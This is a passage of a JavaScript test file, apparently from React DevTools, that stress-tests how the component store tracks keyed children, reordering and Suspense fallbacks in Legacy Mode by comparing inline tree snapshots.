key=\"0\">{d}{e}</div>],\n      [<div key=\"0\">{a}{b}</div>, c, <div key=\"1\">{d}{e}</div>],\n      [<div key=\"2\">{a}{b}</div>, c, <div key=\"3\">{d}{e}</div>],\n      [<span key=\"0\">{a}</span>, b, c, d, [e]],\n      [a, b, <span key=\"0\"><span>{c}</span></span>, d, e],\n      [<div key=\"0\">{a}</div>, [b], <span key=\"1\">{c}</span>, [d], <div key=\"2\">{e}</div>],\n      [a, b, [c, <div key=\"0\">{d}<span>{e}</span></div>], ''],\n      [a, [[]], b, c, [d, [[]], e]],\n      [[[a, b, c, d], e]],\n      [a, b, c, d, e],\n    ];\n\n    // 5. Test fresh mount for each case.\n    for (let i = 0; i < cases.length; i++) {\n      // Ensure fresh mount.\n      createContainer();\n\n      // Verify mounting 'abcde'.\n      act(() => render(<Parent>{cases[i]}</Parent>));\n      expect(getContainer().textContent).toMatch('abcde');\n      expect(print(store)).toEqual(snapshotForABCDE);\n\n      // Verify switching to 'abxde'.\n      act(() => {\n        setShowX(true);\n      });\n      expect(getContainer().textContent).toMatch('abxde');\n      expect(print(store)).toBe(snapshotForABXDE);\n\n      // Verify switching back to 'abcde'.\n      act(() => {\n        setShowX(false);\n      });\n      expect(getContainer().textContent).toMatch('abcde');\n      expect(print(store)).toBe(snapshotForABCDE);\n\n      // Clean up.\n      act(() => unmount());\n      expect(print(store)).toBe('');\n    }\n\n    // 6. Verify *updates* by reusing the container between iterations.\n    // There'll be no unmounting until the very end.\n    createContainer();\n    for (let i = 0; i < cases.length; i++) {\n      // Verify mounting 'abcde'.\n      act(() => render(<Parent>{cases[i]}</Parent>));\n      expect(getContainer().textContent).toMatch('abcde');\n      expect(print(store)).toEqual(snapshotForABCDE);\n\n      // Verify switching to 'abxde'.\n      act(() => {\n        setShowX(true);\n      });\n      expect(getContainer().textContent).toMatch('abxde');\n      expect(print(store)).toBe(snapshotForABXDE);\n\n      // Verify switching back to 'abcde'.\n      act(() => {\n        setShowX(false);\n      });\n      expect(getContainer().textContent).toMatch('abcde');\n      expect(print(store)).toBe(snapshotForABCDE);\n      // Don't unmount. Reuse the container between iterations.\n    }\n    act(() => unmount());\n    expect(print(store)).toBe('');\n  });\n\n  // @reactVersion >= 16.9\n  // @reactVersion <= 18.2\n  it('should handle stress test with reordering (Legacy Mode)', () => {\n    const A = () => 'a';\n    const B = () => 'b';\n    const C = () => 'c';\n    const D = () => 'd';\n    const E = () => 'e';\n    const a = <A key=\"a\" />;\n    const b = <B key=\"b\" />;\n    const c = <C key=\"c\" />;\n    const d = <D key=\"d\" />;\n    const e = <E key=\"e\" />;\n\n    // prettier-ignore\n    const steps = [\n      a,\n      b,\n      c,\n      d,\n      e,\n      [a],\n      [b],\n      [c],\n      [d],\n      [e],\n      [a, b],\n      [b, a],\n      [b, c],\n      [c, b],\n      [a, c],\n      [c, a],\n    ];\n\n    const stepsSnapshot = [\n      `\n      [root]\n        ▾ <Root>\n            <A key=\"a\">\n    `,\n      `\n      [root]\n        ▾ <Root>\n            <B key=\"b\">\n    `,\n      `\n      [root]\n        ▾ <Root>\n            <C key=\"c\">\n    `,\n      `\n      [root]\n        ▾ <Root>\n            <D key=\"d\">\n      `,\n      `\n      [root]\n        ▾ <Root>\n            <E key=\"e\">\n      `,\n      `\n      [root]\n        ▾ <Root>\n            <A key=\"a\">\n      `,\n      `\n      [root]\n        ▾ <Root>\n            <B key=\"b\">\n      `,\n      `\n      [root]\n        ▾ <Root>\n            <C key=\"c\">\n      `,\n      `\n      [root]\n        ▾ <Root>\n            <D key=\"d\">\n      `,\n      `\n      [root]\n        ▾ <Root>\n            <E key=\"e\">\n      `,\n      `\n      [root]\n        ▾ <Root>\n            <A key=\"a\">\n            <B key=\"b\">\n      `,\n      `\n      [root]\n        ▾ <Root>\n            <B key=\"b\">\n            <A key=\"a\">\n      `,\n      `\n      [root]\n        ▾ <Root>\n            <B key=\"b\">\n            <C key=\"c\">\n      `,\n      `\n      [root]\n        ▾ <Root>\n            <C key=\"c\">\n            <B key=\"b\">\n      `,\n      `\n      [root]\n        ▾ <Root>\n            <A key=\"a\">\n            <C key=\"c\">\n      `,\n      `\n      [root]\n        ▾ <Root>\n            <C key=\"c\">\n            <A key=\"a\">\n      `,\n    ];\n\n    const Root = ({children}) => {\n      return children;\n    };\n\n    // 1. Capture the expected render result.\n    const snapshots = [];\n    for (let i = 0; i < steps.length; i++) {\n      createContainer();\n\n      act(() => render(<Root>{steps[i]}</Root>));\n      // We snapshot each step once so it doesn't regress.\n      expect(store).toMatchInlineSnapshot(stepsSnapshot[i]);\n      snapshots.push(print(store));\n      act(() => unmount());\n      expect(print(store)).toBe('');\n    }\n\n    // 2. Verify that we can update from every step to every other step and back.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        createContainer();\n\n        act(() => render(<Root>{steps[i]}</Root>));\n        expect(print(store)).toMatch(snapshots[i]);\n        act(() => render(<Root>{steps[j]}</Root>));\n        expect(print(store)).toMatch(snapshots[j]);\n        act(() => render(<Root>{steps[i]}</Root>));\n        expect(print(store)).toMatch(snapshots[i]);\n        act(() => unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 3. Same test as above, but this time we wrap children in a host component.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        createContainer();\n\n        act(() =>\n          render(\n            <Root>\n              <div>{steps[i]}</div>\n            </Root>,\n          ),\n        );\n        expect(print(store)).toMatch(snapshots[i]);\n        act(() =>\n          render(\n            <Root>\n              <div>{steps[j]}</div>\n            </Root>,\n          ),\n        );\n        expect(print(store)).toMatch(snapshots[j]);\n        act(() =>\n          render(\n            <Root>\n              <div>{steps[i]}</div>\n            </Root>,\n          ),\n        );\n        expect(print(store)).toMatch(snapshots[i]);\n        act(() => unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n  });\n\n  // @reactVersion >= 18.0\n  // @reactVersion <= 18.2\n  it('should handle a stress test for Suspense (Legacy Mode)', async () => {\n    const A = () => 'a';\n    const B = () => 'b';\n    const C = () => 'c';\n    const X = () => 'x';\n    const Y = () => 'y';\n    const Z = () => 'z';\n    const a = <A key=\"a\" />;\n    const b = <B key=\"b\" />;\n    const c = <C key=\"c\" />;\n    const z = <Z key=\"z\" />;\n\n    // prettier-ignore\n    const steps = [\n      a,\n      [a],\n      [a, b, c],\n      [c, b, a],\n      [c, null, a],\n      <React.Fragment>{c}{a}</React.Fragment>,\n      <div>{c}{a}</div>,\n      <div><span>{a}</span>{b}</div>,\n      [[a]],\n      null,\n      b,\n      a,\n    ];\n\n    // Excluding Suspense tree here due to different measurement semantics for fallbacks\n    const stepsSnapshot = [\n      `\n        \"[root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <A key=\"a\">\n              <Y>\"\n      `,\n      `\n        \"[root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <A key=\"a\">\n              <Y>\"\n      `,\n      `\n        \"[root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <A key=\"a\">\n                <B key=\"b\">\n                <C key=\"c\">\n              <Y>\"\n      `,\n      `\n        \"[root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <C key=\"c\">\n                <B key=\"b\">\n                <A key=\"a\">\n              <Y>\"\n      `,\n      `\n        \"[root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <C key=\"c\">\n                <A key=\"a\">\n              <Y>\"\n      `,\n      `\n        \"[root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <C key=\"c\">\n                <A key=\"a\">\n              <Y>\"\n      `,\n      `\n        \"[root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <C key=\"c\">\n                <A key=\"a\">\n              <Y>\"\n      `,\n      `\n        \"[root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <A key=\"a\">\n                <B key=\"b\">\n              <Y>\"\n      `,\n      `\n        \"[root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <A key=\"a\">\n              <Y>\"\n      `,\n      `\n        \"[root]\n          ▾ <Root>\n              <X>\n              <Suspense>\n              <Y>\"\n      `,\n      `\n        \"[root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <B key=\"b\">\n              <Y>\"\n      `,\n      `\n        \"[root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <A key=\"a\">\n              <Y>\"\n      `,\n    ];\n\n    const never = new Promise(() => {});\n    const Never = () => {\n      readValue(never);\n    };\n\n    const Root = ({children}) => {\n      return children;\n    };\n\n    // 1. For each step, check Suspense can render them as initial primary content.\n    // This is the only step where we use Jest snapshots.\n    const snapshots = [];\n    for (let i = 0; i < steps.length; i++) {\n      createContainer();\n\n      act(() =>\n        render(\n          <Root>\n            <X />\n            <React.Suspense fallback={z}>{steps[i]}</React.Suspense>\n            <Y />\n          </Root>,\n        ),\n      );\n      // We snapshot each step once so it doesn't regress.\n      expect(print(store, undefined, undefined, false)).toMatchInlineSnapshot(\n        stepsSnapshot[i],\n      );\n      snapshots.push(print(store, undefined, undefined, false));\n      act(() => unmount());\n      expect(print(store)).toBe('');\n    }\n\n    // 2. Verify check Suspense can render same steps as initial fallback content.\n    for (let i = 0; i < steps.length; i++) {\n      createContainer();\n\n      act(() =>\n        render(\n          <Root>\n            <X />\n            <React.Suspense fallback={steps[i]}>\n              <Z />\n              <Never />\n              <Z />\n            </React.Suspense>\n            <Y />\n          </Root>,\n        ),\n      );\n      expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);\n      act(() => unmount());\n      expect(print(store)).toBe('');\n    }\n\n    // 3. Verify we can update from each step to each step in primary mode.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        createContainer();\n\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>{steps[i]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);\n        // Re-render with steps[j].\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>{steps[j]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);\n        // Check that we can transition back again.\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>{steps[i]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);\n        // Clean up after every iteration.\n        act(() => unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 4. Verify we can update from each step to each step in fallback mode.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        createContainer();\n\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <Z />\n                <Never />\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);\n        // Re-render with steps[j].\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <Z />\n                <Never />\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);\n        // Check that we can transition back again.\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <Z />\n                <Never />\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);\n        // Clean up after every iteration.\n        act(() => unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 5. Verify we can update from each step to each step when moving primary -> fallback.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        createContainer();\n\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>{steps[i]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);\n        // Re-render with steps[j].\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <Z />\n                <Never />\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);\n        // Check that we can transition back again.\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>{steps[i]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);\n        // Clean up after every iteration.\n        act(() => unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 6. Verify we can update from each step to each step when moving fallback -> primary.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        createContainer();\n\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <Z />\n                <Never />\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);\n        // Re-render with steps[j].\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>{steps[j]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);\n        // Check that we can transition back again.\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <Z />\n                <Never />\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);\n        // Clean up after every iteration.\n        act(() => unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 7. Verify we can update from each step to each step when toggling Suspense.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        createContainer();\n\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>{steps[i]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n\n        // We get ID from the index in the tree above:\n        // Root, X, Suspense, ...\n        //          ^ (index is 2)\n        const suspenseID = store.getElementIDAtIndex(2);\n\n        // Force fallback.\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);\n        act(() => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: true,\n          });\n        });\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);\n\n        // Stop forcing fallback.\n        act(() => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: false,\n          });\n        });\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);\n\n        // Trigger actual fallback.\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <Z />\n                <Never />\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);\n\n        // Force fallback while we're in fallback mode.\n        act(() => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: true,\n          });\n        });\n        // Keep seeing fallback content.\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);\n\n        // Switch to primary mode.\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>{steps[i]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Fallback is still forced though.\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);\n\n        // Stop forcing fallback. This reverts to primary content.\n        act(() => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: false,\n          });\n        });\n        // Now we see primary content.\n        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);\n\n        // Clean up after every iteration.\n        act(() => unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n  });\n\n  // @reactVersion >= 18.0\n  // @reactVersion <= 18.2\n  it('should handle a stress test for Suspense without type change (Legacy Mode)', () => {\n    const A = () => 'a';\n    const B = () => 'b';\n    const C = () => 'c';\n    const X = () => 'x';\n    const Y = () => 'y';\n    const Z = () => 'z';\n    const a = <A key=\"a\" />;\n    const b = <B key=\"b\" />;\n    const c = <C key=\"c\" />;\n    const z = <Z key=\"z\" />;\n\n    // prettier-ignore\n    const steps = [\n      a,\n      [a],\n      [a, b, c],\n      [c, b, a],\n      [c, null, a],\n      <React.Fragment>{c}{a}</React.Fragment>,\n      <div>{c}{a}</div>,\n      <div><span>{a}</span>{b}</div>,\n      [[a]],\n      null,\n      b,\n      a,\n    ];\n\n    const stepsSnapshot = [\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n              ▾ <MaybeSuspend>\n                  <A key=\"a\">\n                  <Z>\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={[]}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n              ▾ <MaybeSuspend>\n                  <A key=\"a\">\n                  <Z>\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={[]}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n              ▾ <MaybeSuspend>\n                  <A key=\"a\">\n                  <B key=\"b\">\n                  <C key=\"c\">\n                  <Z>\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={[]}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n              ▾ <MaybeSuspend>\n                  <C key=\"c\">\n                  <B key=\"b\">\n                  <A key=\"a\">\n                  <Z>\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={[]}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n              ▾ <MaybeSuspend>\n                  <C key=\"c\">\n                  <A key=\"a\">\n                  <Z>\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={[]}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n              ▾ <MaybeSuspend>\n                  <C key=\"c\">\n                  <A key=\"a\">\n                  <Z>\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={[]}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n              ▾ <MaybeSuspend>\n                  <C key=\"c\">\n                  <A key=\"a\">\n                  <Z>\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={[]}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n              ▾ <MaybeSuspend>\n                  <A key=\"a\">\n                  <B key=\"b\">\n                  <Z>\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={[]}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n              ▾ <MaybeSuspend>\n                  <A key=\"a\">\n                  <Z>\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={[]}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n              ▾ <MaybeSuspend>\n                  <Z>\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={[]}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n              ▾ <MaybeSuspend>\n                  <B key=\"b\">\n                  <Z>\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={[]}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n              ▾ <MaybeSuspend>\n                  <A key=\"a\">\n                  <Z>\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={[]}>\n      `,\n    ];\n\n    const stepsSnapshotTwo = [\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <A key=\"a\">\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={null}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <A key=\"a\">\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={null}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <A key=\"a\">\n                <B key=\"b\">\n                <C key=\"c\">\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={null}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <C key=\"c\">\n                <B key=\"b\">\n                <A key=\"a\">\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={null}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <C key=\"c\">\n                <A key=\"a\">\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={null}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <C key=\"c\">\n                <A key=\"a\">\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={null}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <C key=\"c\">\n                <A key=\"a\">\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={null}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <A key=\"a\">\n                <B key=\"b\">\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={null}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <A key=\"a\">\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={null}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n              <Suspense>\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={null}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <B key=\"b\">\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={null}>\n      `,\n      `\n        [root]\n          ▾ <Root>\n              <X>\n            ▾ <Suspense>\n                <A key=\"a\">\n              <Y>\n        [suspense-root]  rects={[]}\n          <Suspense name=\"Unknown\" rects={null}>\n      `,\n    ];\n\n    const never = new Promise(() => {});\n    const Never = () => {\n      readValue(never);\n    };\n\n    const MaybeSuspend = ({children, suspend}) => {\n      if (suspend) {\n        return (\n          <div>\n            {children}\n            <Never />\n            <X />\n          </div>\n        );\n      }\n      return (\n        <div>\n          {children}\n          <Z />\n        </div>\n      );\n    };\n\n    const Root = ({children}) => {\n      return children;\n    };\n\n    // 1. For each step, check Suspense can render them as initial primary content.\n    // This is the only step where we use Jest snapshots.\n    const snapshots = [];\n\n    for (let i = 0; i < steps.length; i++) {\n      createContainer();\n\n      act(() =>\n        render(\n          <Root>\n            <X />\n            <React.Suspense fallback={z}>\n              <MaybeSuspend suspend={false}>{steps[i]}</MaybeSuspend>\n            </React.Suspense>\n            <Y />\n          </Root>,\n        ),\n      );\n      // We snapshot each step once so it doesn't regress.\n      expect(store).toMatchInlineSnapshot(stepsSnapshot[i]);\n      snapshots.push(print(store));\n      act(() => unmount());\n      expect(print(store)).toBe('');\n    }\n\n    // 2. Verify check Suspense can render same steps as initial fallback content.\n    // We don't actually assert here because the tree includes <MaybeSuspend>\n    // which is different from the snapshots above. So we take more snapshots.\n    const fallbackSnapshots = [];\n    for (let i = 0; i < steps.length; i++) {\n      createContainer();\n\n      act(() =>\n        render(\n          <Root>\n            <X />\n            <React.Suspense fallback={steps[i]}>\n              <Z />\n              <MaybeSuspend suspend={true}>{steps[i]}</MaybeSuspend>\n              <Z />\n            </React.Suspense>\n            <Y />\n          </Root>,\n        ),\n      );\n      // We snapshot each step once so it doesn't regress.\n      expect(store).toMatchInlineSnapshot(stepsSnapshotTwo[i]);\n      fallbackSnapshots.push(print(store, undefined, undefined, false));\n      act(() => unmount());\n      expect(print(store)).toBe('');\n    }\n\n    // 3. Verify we can update from each step to each step in primary mode.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        createContainer();\n\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>\n                <MaybeSuspend suspend={false}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store)).toEqual(snapshots[i]);\n        // Re-render with steps[j].\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>\n                <MaybeSuspend suspend={false}>{steps[j]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store)).toEqual(snapshots[j]);\n        // Check that we can transition back again.\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>\n                <MaybeSuspend suspend={false}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store)).toEqual(snapshots[i]);\n        // Clean up after every iteration.\n        act(() => unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 4. Verify we can update from each step to each step in fallback mode.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        createContainer();\n\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <Z />\n                <MaybeSuspend suspend={true}>\n                  <X />\n                  <Y />\n                </MaybeSuspend>\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, undefined, undefined, false)).toEqual(\n          fallbackSnapshots[i],\n        );\n        // Re-render with steps[j].\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <Z />\n                <MaybeSuspend suspend={true}>\n                  <Y />\n                  <X />\n                </MaybeSuspend>\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store, undefined, undefined, false)).toEqual(\n          fallbackSnapshots[j],\n        );\n        // Check that we can transition back again.\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <Z />\n                <MaybeSuspend suspend={true}>\n                  <X />\n                  <Y />\n                </MaybeSuspend>\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, undefined, undefined, false)).toEqual(\n          fallbackSnapshots[i],\n        );\n        // Clean up after every iteration.\n        act(() => unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 5. Verify we can update from each step to each step when moving primary -> fallback.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        createContainer();\n\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>\n                <MaybeSuspend suspend={false}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store)).toEqual(snapshots[i]);\n        // Re-render with steps[j].\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <MaybeSuspend suspend={true}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store, undefined, undefined, false)).toEqual(\n          fallbackSnapshots[j],\n        );\n        // Check that we can transition back again.\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>\n                <MaybeSuspend suspend={false}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store)).toEqual(snapshots[i]);\n        // Clean up after every iteration.\n        act(() => unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 6. Verify we can update from each step to each step when moving fallback -> primary.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        createContainer();\n\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <MaybeSuspend suspend={true}>{steps[j]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, undefined, undefined, false)).toEqual(\n          fallbackSnapshots[i],\n        );\n        // Re-render with steps[j].\n        act(() 